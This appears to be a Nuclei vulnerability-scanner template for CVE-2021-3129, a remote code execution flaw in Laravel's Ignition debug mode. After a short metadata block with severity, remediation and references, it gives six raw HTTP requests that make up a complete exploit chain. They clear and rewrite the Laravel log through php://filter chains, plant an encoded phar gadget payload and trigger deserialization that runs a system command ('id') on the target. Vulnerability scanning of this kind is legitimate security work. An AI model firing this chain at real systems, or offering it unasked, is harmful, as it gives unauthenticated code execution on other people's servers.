Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution

id: CVE-2021-3129

info:
  name: Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution
  author: z3bd,pdteam
  severity: critical
  description: Laravel version 8.4.2 and before with Ignition before 2.5.2 allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, potentially allowing an attacker to take control of the affected system.
  remediation: |
    Upgrade Laravel to version 8.4.3 or higher to mitigate this vulnerability.
  reference:
    - https://www.ambionics.io/blog/laravel-debug-rce
    - https://github.com/vulhub/vulhub/tree/master/laravel/CVE-2021-3129
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3129
    - https://github.com/facade/ignition/pull/334
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3129
    epss-score: 0.99943
    epss-percentile: 0.9997
    cpe: cpe:2.3:a:facade:ignition:*:*:*:*:*:laravel:*:*
  metadata:
    max-request: 6
    vendor: facade
    product: ignition
    framework: laravel
  tags: cve2021,cve,laravel,rce,vulhub,kev,facade,vkev,vuln

http:
  - raw:
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "AA"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4C=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=45=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=56=00=6D=00=46=00=73=00=61=00=57=00=52=00=68=00=64=00=47=00=6C=00=76=00=62=00=6C=00=78=00=57=00=59=00=57=00=78=00=70=00=5A=00=47=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=6D=00=56=00=34=00=64=00=47=00=56=00=75=00=63=00=32=00=6C=00=76=00=62=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=77=00=4F=00=69=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=33=00=4D=00=36=00=4D=00=6A=00=6F=00=69=00=61=00=57=00=51=00=69=00=4F=00=33=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=63=00=4A=00=39=00=59=00=36=00=5A=00=6B=00=50=00=61=00=39=00=61=00=45=00=49=00=51=00=49=00=45=00=47=00=30=00=6B=00=4A=00=2B=00=39=00=4A=00=50=00=6B=00=4C=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
      - |
        POST /_ignition/execute-solution HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json

        {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "phar://../storage/logs/laravel.log/test.txt"}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "gid="
          - "groups="
          - "Illuminate"
        condition: and

      - type: status
        status:
          - 500

    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"
# digest: 490a0046304402200231e5602a94d82d248e25df4fd4eebabc17175a5acfdb76388fa72cbc7f096702207819d9e26cb43fe161f5ca883605343017c652d43503627c300ac740064a07ea:922c64590222798bb761d5b6d8e72950